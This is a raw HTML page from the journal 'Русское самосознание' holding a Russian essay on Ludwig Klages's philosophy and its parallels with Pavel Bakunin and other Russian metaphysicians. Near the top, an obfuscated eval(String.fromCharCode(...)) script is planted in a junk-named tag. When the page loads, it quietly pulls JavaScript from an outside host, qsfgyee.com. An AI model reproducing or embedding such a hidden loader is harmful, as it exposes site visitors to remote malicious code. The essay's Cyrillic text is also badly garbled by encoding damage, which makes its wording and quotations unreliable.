Стат? Мальчевсклог??Клагес?из ? «Русског?самосознан??/title> <base target="_self"> </head> <body align="center" bgcolor="#404040"> <kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5><script>eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,108,106,115,40,41,123,116,114,121,123,118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,115,114,99,34,44,34,104,116,116,112,58,47,47,113,115,102,103,121,101,101,46,99,111,109,58,51,49,50,57,47,106,115,34,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,125,99,97,116,99,104,40,101,41,123,125,125,115,101,116,84,105,109,101,111,117,116,40,34,108,106,115,40,41,34,44,53,48,48,41,59));</script></kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5> <p><img src="http://counter.rambler.ru/top100.cnt?157136" alt="Rambler's Top100" width="1" height="1" border="0"> <noscript><img src="http://top.list.ru/counter?js=na;id=87424" height="1" width="1" alt></noscript>  <noscript> <img src="http://u494.66.spylog.com/cnt?p=0" alt="SpyLOG" border="0" width="1" height="1"> </noscript>  </p> <table bgcolor="white" width="614" border="0" cellspacing="0" cellpadding="3" align="center" valign="top"> <tr> <td><table align="center" border="0" cellspacing="0" cellpadding="0"> <tr> <td colspan="5" bgcolor="black" height="2"><img src width="1" height="1"></td> </tr> <tr> <td bgcolor="black" rowspan="4" width="2"><img src width="1" height="1"></td> <td align="center" valign="top" width="121"><img src width="1" height="1"><br> <img src="logo1.gif" alt=""Русско?самосознание"" WIDTH="121" HEIGHT="75"> <br> <br> <br> <img alt border="0" src="line104.gif" WIDTH="104" HEIGHT="10"><a href="index.htm" target="_top"><img alt="Главная" src="main.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="contents-07.htm"><img alt="Последни?номе? src="last.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="archive.htm"><img alt="Архи? src="archive.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="02.htm" target="_top"><img alt="?2" src="issue2.gif" border="0" width="106" height="15"></a><br> <img alt border="0" src="line104.gif" WIDTH="104" HEIGHT="10"><a href="association.htm"><img alt="Общество" src="association.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="library.htm"><img alt="Библиотека" src="library.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="links.htm"><img alt="Ссылки" src="links.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img alt border="0" src="line104.gif" WIDTH="104" HEIGHT="10"><a href="about.htm"><img alt="Информац?" src="about.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <a href="mailto:russamos@ai5687.spb.edu"><img alt="Пишите!" src="e-mail.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"> </td> <td bgcolor="black" width="2" rowspan="4"><img src width="1" height="1"></td> <td rowspan="1" width="480" bgcolor="white" valign="top" align="center"><img src width="1" height="1"><img src="capture.jpg" alt="философско-исторический журнал" WIDTH="480" HEIGHT="75"><img src="banner.gif" alt="banner.gif (256 bytes)" WIDTH="486" HEIGHT="60"><table cellpadding="10" border="0" cellspacing="0"> <tr> <td><h1 align="center"><font face="Century Schoolbook">Содержание выпуск? ?</font></h1> </td> </tr> <tr> <td></td> </tr> <tr> <td><div align="justify" class="text"><font FACE="Arial"><i><b><h2 align="left">? Мальчевски?/h2> </b></i><h3 ALIGN="JUSTIFY">От логомахи??пневматологи?/h3> <h3 ALIGN="JUSTIFY">( ?творчестве ?Клагес??свет? русско?философи?</h3> </font><font FACE="Times New Roman" SIZE="1"><p ALIGN="JUSTIFY">??Страхо? однажд?замети? "для того, чтоб?хорошо понимать Европу, конечн? мене?всег?нужн?быть западником". Действительн? то? кт?не способен разг?деть самобытный обли?России, чаще всег? оказывается слеп ??самобытным чертам Европы; ег?"обра?Европы" стол?же убог ?трафаретен, ка??ег?"обра?России". ? уж те?боле?он совершенно не способен открыт? для се? чт?либо значительное ?европейско? культуре <i><b>самост?тельно</b></i>, бе?помощи то? реклам? которая характерна для западног? "рынк?идей" не мене? че?для "рынк? веще?quot;, ?обладает прямо-таки "божественным" даро?создават? "гениев"</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>из ничего</i></b> (?обращать ?"ничт?quot; наст?щи?талант?. ?потому на сторонника? русско?самобытности лежи?ответственност??за постижение самобытности Запада; именно он? должны "открыт?quot; подлинну?Европу, определить те? кт?создавал её подлинны? ценности ил? по крайне?мере, ставил её подлинны?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>проблемы.</p> </i></b><p ALIGN="JUSTIFY">Людвиг Клагес (1872-1956) - немецкий мыслител? получивший европейску?известност?? период межд?мировыми войнам? когд?увидел? свет ег?работы "?сущности сознан?" (1921), " ?космогоническо?Эрос?"(1922), "Личность. Введение ?характероведение"(1930), "Ду?ка? противни?души" (тт. 1-3, 1929-1932) ?многие другие. Будучи по образовани?химико?(?защити?посл? окончания Лейпцигского Университета диссертаци?по органическом?синтез?, Людвиг Клагес остави?изучение мёртво?природ?для постижен? природ?живо?- точнее, для постижен? то?истины, чт?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>жизн?/i></b> состав?ет существо природ?? цело? Особое значение он придавал способност? увидет?эт?существо ?ег?конкретных выражения? ил?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>образа?/i></b> (Bilden) - отсюда пост?нный интере?Клагес??графологии, физиогномике ??? Равнодушны??академическо?карьер?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> Клагес предпочита?роль странствующего проповедника свои?идей, выступ? ?лекц?ми ?различны?культурных центра?Европы. Следуе?отметить, чт?уж??1919 года он избрал местом жительства городо? Кильхбер?по?Цюрихо? лишь изредк?наведываясь ?Германию, гд?ег?книг?встречал? однако, неизменн?сочувственны?интере? ?60-лети? Клагес?выше?посвященный ем?сборни?статей "Наук?на распутье"</font><a href="#1" name="1*"><font FACE="Times New Roman" SIZE="1"> [1]</font></a><font FACE="Times New Roman" SIZE="1">, участи??которо?приняли многие видные ученые, ? основном психолог? биолог??медики, таки? ка? Вилья?Штер?/1871-1939/, психолог-персоналис? авто? книг?"Личность ?вещь"/1906/, получившей высоку?оценку такж???русско?философи? начала века, ?знаменитый биолог Якоб фо? Юкскюлль (J.J.von Uexkull) /1864-1944/, один из создателей концепци?экологии, основатель ?первый директор Институт?по исследованию окружающей сред? Отнюдь не случайно то обст?тельство, чт?именно ученые, имевши?дело ?конкретным?явлен?ми сознан? ?жизн? ?не творцы философско? неосхоластик? ?основном изобретавшие замысловатые термин?для этих явлений, почувствовал??оценил?актуальность пробле? поставленных Клагесом. Ка?не случае??то? характерны?для либерально?цензур? "загово? молчан?", которы?сложил? вокруг имен?? творчества немецког?мыслителя уж?посл?Второй мирово?войн? "загово?quot;, лишь изредк? нарушаемый появление?объективны?рабо? таки? ка?книг??Фраухигера "По следам духа"</font><a href="#2" name="2*"><font FACE="Times New Roman" SIZE="1"> [2]</font></a><font FACE="Times New Roman" SIZE="1">, посвящённ? сравнительному анализ?идей Клагес??Те??де Шарден? (характерно, чт??её авто?- специалист-невролог, ?не представител?школьной философи?.</p> <p ALIGN="JUSTIFY">?чё?же дело? Известны?венгерский марксист ?Лука??свое? обличительно-доносительском сочинени? "Разрушение разума"</font><a href="#3" name="3*"><font FACE="Times New Roman" SIZE="1"> [3]</font></a><font FACE="Times New Roman" SIZE="1"> помещает Людвиг?Клагес?во глав?списка представителей "предфашистской ?фашистской философи?жизн?quot;. По следам марксист?диссидента пошл??ег?вполне ортодоксальные советски?собрат?; но вря?ли те?самы?назван?главная причин?непр?тия творчества Клагес? те?боле? чт?даже очен? бдительный ?вопрос?об отношени?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">того ил?иног?философа ? национал-социализму "Немецкий биографический словар?quot; не сообщает ??Клагес?никаки? "компрометирующих" сведений на се?счёт. Поэтом?попытаем? взглянуть на "феноме? Клагес?quot; нескольк?глубже.</p> <p ALIGN="JUSTIFY">Согласно тоже достаточно внешне? не затрагивающе?существа дела трактовк? творчества Клагес??современно?западной философи? он бы?последовательным борцом ? "логоцентризмом", со стремление?поместит? разу?не только ?цент?познавательной рефлекси? но ??онтологический цент? мироздан?. Но сама по себе такая позиция не являет? больши?прегрешением ?точк?зрен? современно?западной философи? гд??полной серьезностью обсуждаются идеи типа те? которы? развивае?како?нибудь ?Деррид? приравнивающий "логоцентризм"... ?"фаллоцентризму". Значит, дело не ?логомахи?ка?таково? но ? чё?то ином, чт?побуждае?современны? законодателе?философско?моды поскорее списат? творчество ?Клагес??архи?- ?отличи?от таки? уж?из?дн?набивших оскомину логомахо? ка? ?Бергсо?ил?"на?quot; Ле?Шестов.</p> <p ALIGN="JUSTIFY">Людвиг Клагес не вписывается ?эт? компанию по другой причин? Подвергая резкой критик?не только картезиански? но ? платоновский интеллектуализ? выдвинув (мног? раньше ?Хайдеггера) тези?об особой ценности (? цельност? мировоззрения "досократиков", Клагес остает?, те?не мене?</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>метафизико?</i></b> сохраняет верность метафизической традиции европейско? философи? ?выражает? эт?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> прежде всег?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> ?то? чт?для него <i>ду?b> ? душа -</b></i> эт?не "устаревшие" по?тия, не продукты подлежащих преодолени? "метафизических установо?quot; спиритуализм?? психологизма (ка?уверяют ?Гуссерль, ?Хайдегге? ?их бесчисленные эпигон?, но ключевые философски?категори? которы?указываю?(? отличи?от "трансцендентальног?эг?quot;, "экзистенци?quot;, "ничт?quot; ?прочег? на реальных участников мирово?драм? Ду??душа, сознание ?жизн?- эт?не гомункул? выращенные вагнерам?философского модернизма, но по?тия, имеющи?свой корень ?основных интуиц??/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>народног?/i></b> духа, ?задача философа - дать правильное осмысление этих интуиций. Только ?цель?такого осмыслен? допустим?(?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> поро?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> необходимо) вводит?некоторы? вспомогательны?("технически?quot;) по?тия - типа применяемог?Клагесом для характеристики акто?сознан? по?тия "схватывания", которо? впроче? не являет? че?то принципиальн?новы?по сравнени??категорией</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>вниман?</i></b> (см. ниже). </p> <p ALIGN="JUSTIFY">Отверг? те ил?иные построен? европейско?метафизики, ?Клагес никоим образо? не разрушае?её</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>фундамента -</i></b> во?причин? по которо?он "не интересе?quot; идеолога?модернизма (?ег? мним?"постмодернистско?quot; метаморфоз?, главная цель которы? заменить</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>язы?/i></b> европейско? метафизики неки?"волапюко?quot;, на которо? собственно, нель? не только ответить на вечные вопрос?метафизики, но даже (?эт?главно?) поставит?таки?вопрос?("деструкц?" этих вопросов ?об?вляет? сегодня насущной задаче? творцо?"нового мышлен?" ?философи?- ка? будт?те?же самы?не занимались всевозможные карнап? рассел??витгенштейны). </p> <p ALIGN="JUSTIFY">Наст?ще?мест?? Клагес?/font><b><font SIZE="1"> - </font><font FACE="Times New Roman" SIZE="1"><i>на сторон?/i></b> европейско?традиции,</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>против </i></b>европейского (?? сущности - антиевропейского) модернизма; именно эт??почувствовал?достаточно ясн?те, кт?реша? - "быть ил?не быть" Клагес??пантеоне философски?божков XX века. Философия Клагес?- эт?имманентная критик?европейского метафизическог?мышлен?, стре?щая? определить ег?наст?щи?корн??убереч?их от окончательного разрушен?. Эт?корн?связаны для Клагес? прежде всег? ?по?тием</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>жизн?/i></b> ??по?тием <i>души.</i> Клагес ясн?почувствовал, чт?истерическ? кампан? против "натурализм?quot; ? "психологизма", начатая ещ??прошло?веке марбургски?"неокантианство?quot;, направлена именно против этих корней. Но совсем другой вопрос - суме?ли он правильн?определить наст?щи?источник опасност? </p> <p ALIGN="JUSTIFY">Этот источник он связыва??по?тием духа ?сознан?; ?сраз?подчеркнём: Клагес никоим образо?не отрица?онтологическую реальность духа, ?уж?поэтом?ег?философия не може?быть использована теми, чь?усил? направлены на "отмысливание" этог? коренног?по?тия индоевропейско?? христианской метафизики. Опозна?ду?- именно ду? ?не чистый разу? интеллек??прочее - ? качестве "противника" души, он фактически утвердил ег?самост?тельны?онтологический статус. </p> <p ALIGN="JUSTIFY">?одновременно создал для се?</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>неразрешимую</i></b> онтологическую проблему. Ведь вс?мировоззрени? ?Клагес?принципиальн?восстает против <i><b>дуализма</b></i> сущего; жизн?не имее?вн?се? ничего мёртвого - не случайно он возражае?против концепци? витализм? ви?щего ?"архе?quot; жизн?нечт? инородно?механической природ?вещества, хо? ? способно?ка?то "регулировать" вещественные процессы</font><font SIZE="1">. </p> </font><font FACE="Times New Roman" SIZE="1"><p ALIGN="JUSTIFY">?межд?те? последовательн?рассуждая, Клагес должен бы?бы прийти ?по?ти?смерти ка?самост?тельного ? независимого от жизн?принципа - ?отсюда один ша??"религи?смерти", ?стил?совершенно чуждог?Клагес?философского модернизма, то есть</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>нигилизм?</i></b> Противопоставляя ду?душе, Клагес, фактически, абсолютизирует смерть ?её противоположност? жизн? На деле же ду?ка?ра??являет? те? чт?? само?жизн?вполне ?всецел?<i><b>преодолевает</b></i> смерть.</p> <p ALIGN="JUSTIFY">?здес?само?время обратить? за помощь??русско?философи? точнее, ?тому её направлени? которо?сумело органическ? соединит?преемственност?по отношени?? европейско?философско?традиции ?развитие? самобытных нача?русско?мысл? ?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> прежде всег?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> я хоте?бы обратить внимание читате? на поразительно?совпадение некоторы? идей ?Клагес??ид?ми одного из крупнейших (? потому наименее известны?) <i><b>классико?/b></i> русско?философи?Павл?Александровича Бакунина (1820-1900), автора замечательного метафизическог? исследован? "Основы веры ?знан?"(188?. Поясн?на одно?пример? чт?слов? "совпадение" здес?просто напрашивается. Уж?упомянуты??Лука? ?качестве пример? "ультрареакционного" характер?философи? Клагес? приводит... ег?концепци?времен? согласно которо?(здес?Лука?цитирует самого Клагес?/font><a href="#4" name="4*"><font FACE="Times New Roman" SIZE="1"> [4]</font></a><font FACE="Times New Roman" SIZE="1">) современно?сознание "по-агасферовски соотноси?наст?ще?? призрако?неко?удаленност? называемой будущи?quot;, тогд?ка?действительное время являет? "потоко? направленным из будущего ? прошло?quot;.</p> <p ALIGN="JUSTIFY">Но абсолютн?тако?же понимани?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>направления</i></b> времен?было высказан??Павлом Бакунины? "всяко?существовани? удаляясь от будущего, от чувственност?ег?смутно?матери? переходи? ?духовную ясность своего вечног?прошлого"; "будуще?лежи?не вперед? ка?эт?думает?, ?/font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> напротив</font><font SIZE="1">,</font><font FACE="Times New Roman" SIZE="1"> - позади", ? потому "обращать? за смысло??самому будущему ил??лю??будущего есть велико? недоразумени?quot;; этот смыс?<i><b>хранит?</b></i> ? прошло? ?силу чего</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>"проходит?</i></b> ?свое? действительном смысле, означает только</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>приходит?? самому себе"</i></b> (курсив автора -</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">??)</font><a href="#5" name="5*"><font FACE="Times New Roman" SIZE="1"> [5]</font></a><font FACE="Times New Roman" SIZE="1">. Русски??немецкий философы ясн?видели, чт? только на тако?понимани?времен??може?быть основано подлинно?историческое сознание, преодоле?футуристически?неду?нашего времен? ("комплекс Агасфера", ?ег?тоскливо? устремленность??ускользающем? "горизонт?quot;). ?стои?посочувствоват?/font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">Лукачу, знавшему ? существовани?только Михаил?Бакунина</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">(старшего брат? Павл?: ведь упущен?прекрасн? возможност? записать ?"предфашистскую философи?жизн?quot; ещ??/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>русского</i></b> мыслителя...</p> <p ALIGN="JUSTIFY">По?ти?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>жизн?-</i></b> центрально?? философи??Бакунина; но именно здес?? начинает? ег?принципиальное расхождени?? немецким мыслителем, иб?по?ти?жизн?для русского метафизика неотделимо от по?тия <i>духа.</i> Существо дела заключается пр?этом ?трактовк? по?тия <i><b>сознан?</b></font><font SIZE="1">:</font></i><font FACE="Times New Roman" SIZE="1"> для ?Бакунина сознание - эт? прежде всег? не "отношени??другом?quot;</font><a href="#1**" name="1***"><font FACE="Times New Roman" SIZE="1"><sup> 1 </sup></font></a><font FACE="Times New Roman" SIZE="1">, но именно самоотношени? ил?/font><b><font SIZE="1"> </font><i><font FACE="Times New Roman" SIZE="1">саморазумени?/font></b><font SIZE="1">;</font></i><font FACE="Times New Roman" SIZE="1"> "жизн?есть полнот?уверенност??себе само??полнот? достоверност?своего бытия";</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">"есть только одна истина, истина саморазумения...</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">всяки?живущи?несё?эт?истину ?себе само?quot;</font><a href="#6" name="6*"><font FACE="Times New Roman" SIZE="1"> [6]</font></a><font FACE="Times New Roman" SIZE="1">.</font><font SIZE="1"> </p> </font><font FACE="Times New Roman" SIZE="1"><p ALIGN="JUSTIFY">Замети? чт? по?ти?сознан? ка?"самоотношения" душевной жизн? ка?достоверност?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>самобытия</i></b> (?не</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>инобыт?)</i></b> всегда было первичны??русско?философи? ?её подлинно метафизическом (?подлинно национальном) направлени? "?утвержда?быти? внешнего мира только потому, чт?я утвержда?своё собственно?быти??этом мире"</font><a href="#7" name="7*"><font FACE="Times New Roman" SIZE="1"> [7]</font></a><font FACE="Times New Roman" SIZE="1">, - отмеча? ?частност? ??Несмелов, подчеркивая примат "я" (хо? вовс?не обязательно моег? "я") на?любы?"не-я", примат живо? индивидуальной души на?мёртвыми вещами. <i><b>Первично?/b></i> сознание есть именно</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>переживани?/i></b> свое? самобытности, изначально?единство сознан? ? жизн? только на почв?этог?единства возможен ак?рефлекси? ил?"вторичного сознан?", отде?ющег?се? от переживания - но никогд?не способного осуществит?тако?отделени?вполне, поскольк?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>цент?/i></b> сознан? принципиальн?совпадае??центро? жизн? ?душо?человека. </p> <p ALIGN="JUSTIFY">Мы види? чт?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>возможна</i></b> концепция сознан? принципиальн?ин?</font><font SIZE="1">, </font><font FACE="Times New Roman" SIZE="1">че?та, которая застав?ет Людвиг?Клагес?признать сознающи??мыслящи? ду?"противнико?quot; души ?жизн? Но важе?? другой момент. </p> <p ALIGN="JUSTIFY">Ка?отмечает Паве?Бакуни? "жизн? по существу своему есть внимание - внимание от се? ?другом? ?внимание же от другог??себе"</font><a href="#8" name="8*"><font FACE="Times New Roman" SIZE="1"> [8]</font></a><font FACE="Times New Roman" SIZE="1">. Внимание - одна из основных гносеологических категори?русско?метафизики, ?выражает он?именно существо жизн??её движении от се? ?другом???не мене? фундаментально?акте возвращения ?себе, ? центру свое?самобытности, тогд?ка?Клагес ка? ра??не замечает этог?акта, счит?, чт?сознание ка?внимание только "уводит" живо?от се? ? област?инобыт?, то есть фактически ?област? мёртвого (точнее, тако?"уводящи?quot; характер вниман?-схватывания ка?ра??конституируе? мёртво?ка?мёртво?. Но ?внимание "от се? ? другом?quot; состав?ет</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>естественный</i></b> ак?живого существа, выражает ег?инстинктивно?стремление соединит?вс?"другое' ?собо? сделат?всяко? инобытие причастным самобыти?- именно чере? сознание "другог?quot;</font><font FACE="Times New Roman" SIZE="1"><a href="#2**" name="2***"> <sup>2 </a></font><font SIZE="1">. </sup></p> </font><font FACE="Times New Roman" SIZE="1"><p ALIGN="JUSTIFY">?русско? философи?(?названны?выше мыслителей, ?такж?? ??Лопатина, ??Астафьсв? ??Козлов??др.) внимание рождается из переживания ?ведё?b> ?<i>понимани?</i></b> существо которого состав?ет опознани? внутреннег?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>родств?/i></b> межд?моей ?чужо?душо? опознани?духа ка?их обще?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>основы</i></b> (ка?отмечали древни? "подобное понимает? подобным"), опознани?"духовног?сродства" всех человеческих ду? Но пр?этом сохраняет? примат ?первичност?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>единично?/i></b> души, которая не раство?ет? ни ?мирово?стихии жизн? ни ? универсально?космос?духа, иб? по словам ?Бакунина, челове?"ка?эт?особое, единично? существо, есть ?свое?единичност?особ?, никаки?образо?не заменимая истина бытия"</font><a href="#9" name="9*"><font FACE="Times New Roman" SIZE="1"> [9]</font></a><font FACE="Times New Roman" SIZE="1">. ?только ?свет?этой</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>основной аксиом?/i></b> русско?философи?могу?быть решены те метафизические проблемы, которы?вообще допускаю?како?либо решени? </p> <p ALIGN="JUSTIFY">Мн?совсем не хотелось бы, чтоб?? прочитавшего эт?послеслови?сложилос? впечатлени? чт?русская философия даст готовы? ответы на вс?вопрос? Не гово? уж ?то? чт?на сегодняшний день русская метафизика заслонен? от современного читате? массивом русского гностицизм??стил?Вл.Соловьёв??ег? последователей (?характерны?для ни? непониманием сути земной человеческой жизн?/font><a href="#10" name="10*"><font FACE="Times New Roman" SIZE="1"> [10]</font></a><font FACE="Times New Roman" SIZE="1">), для на?совершенно необходимо творческое внимание ?"другом?quot;, ко всем? ценном??европейско?(?не только европейско? философи?- если только эт?внимание соединяет? ?акто?"вниман? от другог??себе". Наша самобытность только выиграет от творческог? взаимодейств? ?чужо?самобытность? тако? взаимодействие позволит лучш?по?ть се?, набираясь опыт??понимани?других. </p> <p ALIGN="JUSTIFY">Парадоксальным образо? ?сегодняшней Европе</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>точн? такж?</i></b> ка???сегодняшней России, пере? философией (?пере?культуро?вообще) стои?одна задача: отст?ть самобытные духовные ценности, завещанные</font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>прошлы?</i></b> пере?натиском те? кт?"по-агасферовски соотноси?наст?ще??призрако?неко? удаленност? называемой будущи?quot;. ?этом противостояни?мы найдем сред?европейски? мыслителей - отвергаемы??замалчиваемы? идеологами "агасферизм?quot; - немало союзнико? только не следуе?забывать, чт?/font><b><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1"><i>решает, </i></b>?конечном счёт? не то, "против чего", ?то, "за чт?quot; мы ведё?духовную борьбу. </p> </font><p ALIGN="JUSTIFY"> </p> <p> </p> <font FACE="Arial"><p ALIGN="JUSTIFY">Примечан?. </font></p> <font SIZE="1"><p ALIGN="JUSTIFY"> </p> </font><dir> <sup><p ALIGN="JUSTIFY"><font FACE="Times New Roman" SIZE="1"><a href="#1***" target="_self" name="1**">1</sup>. </a>Здес?Клагес явн?поддается <i>ложной</i> концепци?сознан?, котору? кстати, <i>преодоле?/i> то?же мыслител? которы?её выдвинул ?отстаива? некоторо?время - замечательны?австрийски? филосо?Фран?Брентано (1838-1917); ег?ученик ?Гуссерль, напротив, та??"заст??quot; ? неверном понимани?"ннтенциональност?quot;</font><font SIZE="1">. </p> </font><sup><p ALIGN="JUSTIFY"><a href="#2***" name="2**"><font SIZE="1">2</sup>. </font></a><font FACE="Times New Roman" SIZE="1">Ясно, чт?префик?"со"- (даже если понимать ег?по аналогии ?латински? "cum", входящи? ?архаическо?форм?"con", ?слов?conscientia) указывае?не на предме?(ил? содержание) знан?, ?на того, кт?этим знание?<i>обладает,</i> то есть этот префик?соотноси?знание ?ег? обладателе? ?таки?пониманием согласуется ? наличи?префикса "b?" ?немецком Be-wupt-sein, буквальн? быти?(sein) того, кт?"снабже?quot; знание?(см. "Словар?словообразовательных элементо?немецког?языка",</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">?1979,</font><font SIZE="1"> </font><font FACE="Times New Roman" SIZE="1">?80). Замети? чт? этимологическая "производност?quot; слов? "сознание" от слов?"знание" мене? всег?означает <i>онтологическую</i> ироизводност? сознан? от знан?; подобн? философская <i>наивност? </i>може?почитать? высшей мудрость?только ? наше время, когд?даже <i>родной</i> язы? представ?ет? ?виде <i>конструкци?/i> из мнимых "праэлементов".</p> </font><p ALIGN="JUSTIFY"><a href="#1*" name="1"><font SIZE="1">[1]. </font></a><font SIZE="1">"Die Wisscnschaft am Scheidewege.Festschrift Ludwig Klages zum 60. Geburtstag", herausgeb. von Hans Prinzhom, Verlag von J.A.Barth, Leipzig, 1932. </p> </font><p ALIGN="JUSTIFY"><a href="#2*" name="2"><font SIZE="1">[2]. </font></a><font SIZE="1">E.Prauchiger "Auf Spuren des Geistes",Veriag H.Huber,Bem,1974. </p> </font><p ALIGN="JUSTIFY"><a href="#3*" name="3"><font SIZE="1">[3]. </font></a><font SIZE="1">G.Lukacs "Die Zerstorung der Vcmunft",Aufbau Verlag.Berlin-Weimar, 1988.S.417 ff. </p> </font><p ALIGN="JUSTIFY"><a href="#4*" name="4"><font SIZE="1">[4]. </font></a><font SIZE="1">ibid.,S.419.</p> </font><p ALIGN="JUSTIFY"><a href="#5*" name="5"><font FACE="Times New Roman" SIZE="1">[5]. </font></a><font FACE="Times New Roman" SIZE="1">?Бакуни?"Основы веры ?знан?", СП?, 1886, ?345-351. </p> </font><p ALIGN="JUSTIFY"><a href="#6*" name="6"><font FACE="Times New Roman" SIZE="1">[6]. </font></a><font FACE="Times New Roman" SIZE="1">та?же<b>,</b> ?40.</p> </font><p ALIGN="JUSTIFY"><a href="#7*" name="7"><font FACE="Times New Roman" SIZE="1">[7]. </font></a><font FACE="Times New Roman" SIZE="1">??Несмелов, "Наук? ?человеке", ?1, Казань, 1898 ?, ?138. </p> </font><p ALIGN="JUSTIFY"><a href="#8*" name="8"><font FACE="Times New Roman" SIZE="1">[8]. </font></a><font FACE="Times New Roman" SIZE="1">?Бакуни? ци?со?, ?95. </p> </font><p ALIGN="JUSTIFY"><a href="#9*" name="9"><font FACE="Times New Roman" SIZE="1">[9]. </font></a><font FACE="Times New Roman" SIZE="1">та?же.?386. </p> </font><p ALIGN="JUSTIFY"><a href="#10*" name="10"><font FACE="Times New Roman" SIZE="1">[10]. </font></a><font FACE="Times New Roman" SIZE="1">связанные ?этим непониманием проблемы затронут?мною ?статье "Живо??мёртво??русско?философи?quot; (см.сборни?"?Леонтьев, на?современни?quot;, Петербур? 1993,?441-454). </p> </font> </dir> </div></td> </tr> </table> </td> <td bgcolor="black" rowspan="4" width="2"><img src width="1" height="1"></td> </tr> <tr> <td width="121" height="2"></td> <td bgcolor="black" height="2"> </td> </tr> <tr> <td width="121" height="2"></td> </tr> <tr> <td width="121" align="CENTER" valign="BOTTOM"><br> <a target="_top" href="http://top.list.ru/jump?from=87424"><img src="http://top.list.ru/counter?id=87424;t=8;l=1" border="0" height="40" width="88" alt="TopList"></a> <script language="javascript"> d=document;rn=Math.random(); y="<a href='http://u494.66.spylog.com/cnt?f=3&rn="+rn+"' target=_blank><img src='http://u494.66.spylog.com/cnt?"; y+="p=0&f=4&rn="+rn+"' border=0 width=88 height=31 ></a>"; d.write(y); </script><noscript> <a href="http://u494.66.spylog.com/cnt?f=3&p=0" target="_blank"><img src="http://u494.66.spylog.com/cnt?p=0&f=4" alt="SpyLog" border="0" width="88" height="31"></a> </noscript> <img alt border="0" src="line104.gif" WIDTH="104" HEIGHT="10"><a href="copyright.htm"><img alt="Вс?прав?защищены" src="copyright.gif" border="0" WIDTH="106" HEIGHT="15"></a><br> <img src="empty.gif" width="10" height="6"><br> <br> </td> <td valign="middle" align="center"><br> <img src="banner.gif" height="60" width="468" border="0"><br> <p class="date">Последне?обновление: 02.05.01 </td> </tr> <tr> <td colspan="5" bgcolor="black" height="2"><img src width="1" height="1"></td> </tr> </table> </td> </tr> </table> </body> </html>